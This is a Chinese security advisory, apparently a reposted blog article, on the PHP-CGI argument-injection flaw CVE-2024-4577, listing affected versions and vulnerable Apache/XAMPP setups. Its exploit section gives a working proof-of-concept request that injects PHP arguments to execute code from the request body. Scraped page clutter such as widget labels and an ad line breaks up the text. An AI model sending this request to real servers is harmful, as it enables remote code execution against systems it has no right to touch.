0x00 前言
php是Hypertext Preprocessor(超文本預處理器)的縮寫,源自于“PHP/FI”的工程,在它的起源初期主要用于統計自己網站的訪問者,后來用c語言進行了重新編寫,擁有了自己的訪問文件和數據庫功能.在1995年發布了PHP 1.0第一個版本。
PHP是一種廣泛使用的開源的腳本語言,它特別適合Web開發和嵌入html中,這種語言使用起來簡單。
CGI、以CGI的方式運行,CGI英文叫做公共網關接口,就是apache在遇到php腳本的時候會將PHP程序提交給CGI應用程序(php-cgi.exe)解釋,解釋之后的結果返回給Apache,然后再返回給相應的請求用戶。
0x01 漏洞描述
立即學習“PHP免費學習筆記(深入)”;
0x02 CVE編號
CVE-2024-4577
0x03 影響版本
PHP 8.3
PHP 8.2
PHP 8.1
針對其他版本,PHP官方已不在維護,建議根據實際情況進行緩解措施。
情境一:
將PHP設定于CGI模式下執行
在Apache httpd設定檔中透過Action語法將對應的HTTP請求交給PHP-CGI執行檔處理時,受此弱點影響,常見設定包含但不限于:
代碼語言:JavaScript代碼運行次數:0運行復制
AddHandler cgi-script .phpAction cgi-script“/cgi-bin/php-cgi.exe”
或
代碼語言:javascript代碼運行次數:0運行復制
<filesmatch>SetHandler application/x-httpd-php-cgi</filesmatch>Action application/x-httpd-php-cgi“/php-cgi/php-cgi.exe”
情境二:
將PHP執行檔暴露在外(XAMPP預設安裝設定)
即使未設定PHP于CGI模式下執行,僅將PHP執行檔暴露在CGI目錄下也受此弱點影響,常見情況包含但不限于:
將php.exe或php-cgi.exe復制到/cgi-bin/目錄中
將PHP安裝目錄透過ScriptAlias暴露到外,如:
代碼語言:javascript代碼運行次數:0運行復制
ScriptAlias /php-cgi/“C:/xampp/php/”
0x04 漏洞詳情
POC:
代碼語言:javascript代碼運行次數:0運行復制
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1Host: {{host}}User-Agent: curl/8.3.0Accept: */*Content-Length: 23Content-Type: application/x-www-form-urlencodedConnection: keep-alive<?phpphpinfo ();?>

執行命令:

(來源于網絡)
0x05 參考鏈接
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/
本公眾號的文章及工具僅提供學習參考,由于傳播、利用此文檔提供的信息而造成任何直接或間接的后果及損害,均由使用者本人負責,本公眾號及文章作者不為此承擔任何責任。